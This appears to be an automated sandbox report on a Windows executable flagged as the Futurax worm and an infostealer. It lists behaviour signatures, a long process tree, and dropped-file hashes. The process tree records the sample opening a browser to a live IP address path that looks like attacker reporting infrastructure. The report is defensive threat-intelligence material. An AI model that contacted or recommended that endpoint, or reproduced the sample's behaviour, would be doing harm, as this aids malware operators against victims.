Overview

overview

10

Static

static

10

2026-11-01..._n.exe

windows10-2004-x64

10

2026-11-01..._n.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    147s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/11/2026, 12:13

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-11-01_aa17dbf4e6aaf11099cdc0302ba752f6_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_n.exe
  • Size 9.7MB
  • Sample261102-pd4evsvy4j
  • SHA256 87d27b84bdf98ec2b564deba5e6c77a6ff65326a8d38e3fd782c91ac385a0132
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwarediscoveryfuturaxspywarestealerworm

Malware Config

Signatures

  • Family: Futurax

    Futurax is a Windows worm written in Delphi.

    wormfuturax
  • Detects Futurax 1 IoCs
  • Detects executables packed with MEW 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Drops file in System32 directory 64 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 64 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
    adwarespyware
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-11-01_aa17dbf4e6aaf11099cdc0302ba752f6_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_n.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-11-01_aa17dbf4e6aaf11099cdc0302ba752f6_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_n.exe"
    1⤵
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4116
    • C:\Program Files\Internet Explorer\IEXPLORE.exe
      "C:\Program Files\Internet Explorer\IEXPLORE" 212.33.237.86/images/1/report.php
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of WriteProcessMemory
      PID:5348
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://212.33.237.86/images/1/report.php"
        3⤵
        • Drops file in Windows directory
        • Enumerates system info in registry
        • Modifies registry class
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:5380
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f4,0x2f8,0x2fc,0x2f0,0x31c,0x7ffe7ba2c188,0x7ffe7ba2c194,0x7ffe7ba2c1a0
          4⤵
            PID:2508
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1824,i,5580168668340769350,2798802986126706031,524288 --field-trial-handle=2924,i,15065627313740235477,5537513061589691941,262144 --variations-seed-version --mojo-platform-channel-handle=2952 /prefetch:11
            4⤵
            • System Time Discovery
            PID:1068
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1552,i,16412364657289587950,5617797179686972446,262144 --field-trial-handle=2924,i,15065627313740235477,5537513061589691941,262144 --variations-seed-version --mojo-platform-channel-handle=2920 /prefetch:2
            4⤵
              PID:3396
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2224,i,7738608184465505960,5020419086405869650,524288 --field-trial-handle=2924,i,15065627313740235477,5537513061589691941,262144 --variations-seed-version --mojo-platform-channel-handle=3104 /prefetch:13
              4⤵
                PID:2752
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3508,i,5783167974194322847,4566413928581252793,2097152 --field-trial-handle=2924,i,15065627313740235477,5537513061589691941,262144 --variations-seed-version --mojo-platform-channel-handle=3556 /prefetch:1
                4⤵
                  PID:3684
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3512,i,11659563510484046966,2848259914935353964,2097152 --field-trial-handle=2924,i,15065627313740235477,5537513061589691941,262144 --variations-seed-version --mojo-platform-channel-handle=3560 /prefetch:1
                  4⤵
                    PID:4500
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4140,i,14182321242867592641,15589999859054932384,2097152 --field-trial-handle=2924,i,15065627313740235477,5537513061589691941,262144 --variations-seed-version --mojo-platform-channel-handle=4888 /prefetch:1
                    4⤵
                      PID:4344
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4252,i,12857472378100800086,10219574062913549985,2097152 --field-trial-handle=2924,i,15065627313740235477,5537513061589691941,262144 --variations-seed-version --mojo-platform-channel-handle=4892 /prefetch:9
                      4⤵
                        PID:2512
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5320,i,17270779938015819797,10110625565031872253,524288 --field-trial-handle=2924,i,15065627313740235477,5537513061589691941,262144 --variations-seed-version --mojo-platform-channel-handle=5348 /prefetch:14
                        4⤵
                          PID:2868
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3800,i,14214091499571062839,11927687257418859617,524288 --field-trial-handle=2924,i,15065627313740235477,5537513061589691941,262144 --variations-seed-version --mojo-platform-channel-handle=5548 /prefetch:14
                          4⤵
                            PID:5976
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3748,i,18373639873152268005,15313719802213868013,524288 --field-trial-handle=2924,i,15065627313740235477,5537513061589691941,262144 --variations-seed-version --mojo-platform-channel-handle=3600 /prefetch:14
                            4⤵
                              PID:3168
                            • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6172,i,17586866642136593156,5668713530342484237,524288 --field-trial-handle=2924,i,15065627313740235477,5537513061589691941,262144 --variations-seed-version --mojo-platform-channel-handle=6188 /prefetch:14
                              4⤵
                                PID:5704
                              • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6172,i,17586866642136593156,5668713530342484237,524288 --field-trial-handle=2924,i,15065627313740235477,5537513061589691941,262144 --variations-seed-version --mojo-platform-channel-handle=6188 /prefetch:14
                                4⤵
                                  PID:712
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6540,i,17285138862275300441,7962002649041547725,524288 --field-trial-handle=2924,i,15065627313740235477,5537513061589691941,262144 --variations-seed-version --mojo-platform-channel-handle=6536 /prefetch:14
                                  4⤵
                                    PID:1632
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5464,i,16508388584807809102,5715407908809893746,524288 --field-trial-handle=2924,i,15065627313740235477,5537513061589691941,262144 --variations-seed-version --mojo-platform-channel-handle=6556 /prefetch:14
                                    4⤵
                                      PID:4328
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=6796,i,11875430203801539457,15976692646569428933,2097152 --field-trial-handle=2924,i,15065627313740235477,5537513061589691941,262144 --variations-seed-version --mojo-platform-channel-handle=6680 /prefetch:1
                                      4⤵
                                        PID:4148
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=6664,i,8669287803627265330,2454865475460035302,2097152 --field-trial-handle=2924,i,15065627313740235477,5537513061589691941,262144 --variations-seed-version --mojo-platform-channel-handle=6652 /prefetch:1
                                        4⤵
                                          PID:5444
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6896,i,9803846493290110087,15712884730336319557,524288 --field-trial-handle=2924,i,15065627313740235477,5537513061589691941,262144 --variations-seed-version --mojo-platform-channel-handle=6404 /prefetch:14
                                          4⤵
                                            PID:5180
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6520,i,6359245262268800627,14052721781944955948,524288 --field-trial-handle=2924,i,15065627313740235477,5537513061589691941,262144 --variations-seed-version --mojo-platform-channel-handle=6508 /prefetch:14
                                            4⤵
                                              PID:3224
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --metrics-shmem-handle=4924,i,14538887570046798351,12564358822999394038,2097152 --field-trial-handle=2924,i,15065627313740235477,5537513061589691941,262144 --variations-seed-version --mojo-platform-channel-handle=3516 /prefetch:1
                                              4⤵
                                                PID:4296
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5468,i,3459595205443957370,11104195728302596845,524288 --field-trial-handle=2924,i,15065627313740235477,5537513061589691941,262144 --variations-seed-version --mojo-platform-channel-handle=6172 /prefetch:14
                                                4⤵
                                                  PID:4464
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6584,i,2470415537383761954,16177165847397393639,524288 --field-trial-handle=2924,i,15065627313740235477,5537513061589691941,262144 --variations-seed-version --mojo-platform-channel-handle=6520 /prefetch:14
                                                  4⤵
                                                    PID:2108
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6568,i,7302268977504728482,10538954286298079327,524288 --field-trial-handle=2924,i,15065627313740235477,5537513061589691941,262144 --variations-seed-version --mojo-platform-channel-handle=6448 /prefetch:14
                                                    4⤵
                                                      PID:4372
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --metrics-shmem-handle=2820,i,1632302786348094501,16571880365114312852,2097152 --field-trial-handle=2924,i,15065627313740235477,5537513061589691941,262144 --variations-seed-version --mojo-platform-channel-handle=1808 /prefetch:1
                                                      4⤵
                                                        PID:2220
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1284,i,9928857677455483494,10117859951447662429,524288 --field-trial-handle=2924,i,15065627313740235477,5537513061589691941,262144 --variations-seed-version --mojo-platform-channel-handle=1944 /prefetch:14
                                                        4⤵
                                                          PID:1716
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6320,i,18419814432033454090,9613101152065678123,524288 --field-trial-handle=2924,i,15065627313740235477,5537513061589691941,262144 --variations-seed-version --mojo-platform-channel-handle=5472 /prefetch:14
                                                          4⤵
                                                            PID:1208
                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6348,i,11123157045690623003,14280404996002435687,524288 --field-trial-handle=2924,i,15065627313740235477,5537513061589691941,262144 --variations-seed-version --mojo-platform-channel-handle=6364 /prefetch:14
                                                            4⤵
                                                              PID:4884
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6040,i,7184278427337177039,15742290923471049259,524288 --field-trial-handle=2924,i,15065627313740235477,5537513061589691941,262144 --variations-seed-version --mojo-platform-channel-handle=6764 /prefetch:14
                                                              4⤵
                                                                PID:2580
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6768,i,6098555393824535007,1021718365763639681,262144 --field-trial-handle=2924,i,15065627313740235477,5537513061589691941,262144 --variations-seed-version --mojo-platform-channel-handle=3344 /prefetch:10
                                                                4⤵
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                PID:3424
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --always-read-main-dll --metrics-shmem-handle=6776,i,9164813005863731467,2732390724935356018,2097152 --field-trial-handle=2924,i,15065627313740235477,5537513061589691941,262144 --variations-seed-version --mojo-platform-channel-handle=3488 /prefetch:1
                                                                4⤵
                                                                  PID:3876
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2372,i,2638704998883628838,4437360629903423013,524288 --field-trial-handle=2924,i,15065627313740235477,5537513061589691941,262144 --variations-seed-version --mojo-platform-channel-handle=3428 /prefetch:14
                                                                  4⤵
                                                                    PID:8
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                              1⤵
                                                                PID:4536
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
                                                                1⤵
                                                                  PID:256

                                                                Network

                                                                      MITRE ATT&CK Enterprise v16

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      7zFM.exe-
                                                                      • Path C:\Program Files\7-Zip\7zFM.exe-
                                                                      • Size 10.6MB
                                                                      • SHA256 4f1cbbb0c8c21105fc0b473d73f7c70fd7cb07ae40cc14833eb3e339094faa0d
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                      Submit Download

                                                                      53dff341-30b3-44f9-bca3-e8140083a1f9.tmp
                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\53dff341-30b3-44f9-bca3-e8140083a1f9.tmp
                                                                      • Size 37KB
                                                                      • SHA256 08b9abe47a6cea0d75f023822a65fc146281bb7412337c8e1f2d59d4a3fd29a9
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                      Submit Download

                                                                      6fa40e83-6609-4823-bfe3-92f1e5c5a595.tmp
                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\6fa40e83-6609-4823-bfe3-92f1e5c5a595.tmp
                                                                      • Size 38KB
                                                                      • SHA256 aa990bcbb8351efe712d38ef33e23fe6df843ae8456f8cb2fc2e6adb1e212fe1
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                      Submit Download

                                                                      77f13460-4531-4099-9ebb-017c93658328.tmp
                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\77f13460-4531-4099-9ebb-017c93658328.tmp
                                                                      • Size 37KB
                                                                      • SHA256 6ac5b689726dbd4f9a83b58fa031c43ec462be6251f32be698c81c32b1c39a58
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                      Submit Download

                                                                      7f2eac88-339f-4cb3-89f6-e09a7b2e3a4b.tmp
                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\7f2eac88-339f-4cb3-89f6-e09a7b2e3a4b.tmp
                                                                      • Size 33KB
                                                                      • SHA256 00b0e0da9a12e71f0fe421d6ef3dc5f99f781d505b5dcfcadf63df891cda0477
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                      Submit Download

                                                                      settings.dat
                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                      • Size 280B
                                                                      • SHA256 a0b193400a27c0cdf94ac11f5fb5b0747828b5b461169cefeffb96191b9e4834
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      settings.dat
                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                      • Size 280B
                                                                      • SHA256 932f01682de6215b2c3b5faeb96a07b886e28db2ff6f8242a36da556c4292464
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      7d40311b-5a78-4b1f-a1c2-c3c3315ef577.tmp
                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\7d40311b-5a78-4b1f-a1c2-c3c3315ef577.tmp
                                                                      • Size 11KB
                                                                      • SHA256 1457edbac165b1d94814690a1ebd38a3fd5d93846b89ebe9853f7be2fdc5b040
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                      Submit Download

                                                                      temp-index
                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\temp-index
                                                                      • Size 2KB
                                                                      • SHA256 592fe1cb99ee1839b05dfc42ceab0fad064d958c7756e54f505ed517236af772
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      the-real-index
                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                      • Size 2KB
                                                                      • SHA256 2bd144ce34bec14243a8d8c67bdde045c0f71dccd5349e5fb90677cd8e19eca3
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      d2a84ced-2a70-4e3a-8c09-c3a1591ac8ba.tmp
                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\d2a84ced-2a70-4e3a-8c09-c3a1591ac8ba.tmp
                                                                      • Size 2B
                                                                      • SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
                                                                      • MD5 SHA1 SHA512
                                                                      Submit Download

                                                                      dasherSettingSchema.json
                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.111.1_0\dasherSettingSchema.json
                                                                      • Size 854B
                                                                      • SHA256 6c69ce0fe6fab14f1990a320d704fee362c175c00eb6c9224aa6f41108918ca6
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      73476793-b0de-4d82-b95a-79c727442dfc.tmp
                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\73476793-b0de-4d82-b95a-79c727442dfc.tmp
                                                                      • Size 2B
                                                                      • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                                                      • MD5 SHA1 SHA512
                                                                      Submit Download

                                                                      a6465d01-4502-4ee1-884a-68a62080df31.tmp
                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\a6465d01-4502-4ee1-884a-68a62080df31.tmp
                                                                      • Size 2KB
                                                                      • SHA256 7113a859b0167603c1c3feca8eeab7f6979684eaec298fceaa8a91bcb3917757
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      e8fcdf2d-ba8b-4d1b-b9bf-dfdf3f1e66af.tmp
                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\e8fcdf2d-ba8b-4d1b-b9bf-dfdf3f1e66af.tmp
                                                                      • Size 40B
                                                                      • SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
                                                                      • MD5 SHA1 SHA512
                                                                      Submit Download

                                                                      ce1dae46-7de3-4f53-9d10-7eb6c44f254c.tmp
                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\ce1dae46-7de3-4f53-9d10-7eb6c44f254c.tmp
                                                                      • Size 11KB
                                                                      • SHA256 75a5db07ea1f8540c06e0aaa816be57e6902e26f105f4ae6137011e7eccbe02e
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                      Submit Download

                                                                      d091c5ea-053d-461b-9352-2a6ac2afef09.tmp
                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\d091c5ea-053d-461b-9352-2a6ac2afef09.tmp
                                                                      • Size 27KB
                                                                      • SHA256 73416f74426f64927af641e174a8fc6c83a2dfd05991acf8944b721a60afd133
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                      Submit Download

                                                                      d5fa5e12-b975-4851-a341-a93c0bab54f7.tmp
                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\d5fa5e12-b975-4851-a341-a93c0bab54f7.tmp
                                                                      • Size 70KB
                                                                      • SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                      Submit Download

                                                                      e26eac66-4757-4596-ab69-bcf1874f7eb9.tmp
                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\e26eac66-4757-4596-ab69-bcf1874f7eb9.tmp
                                                                      • Size 11KB
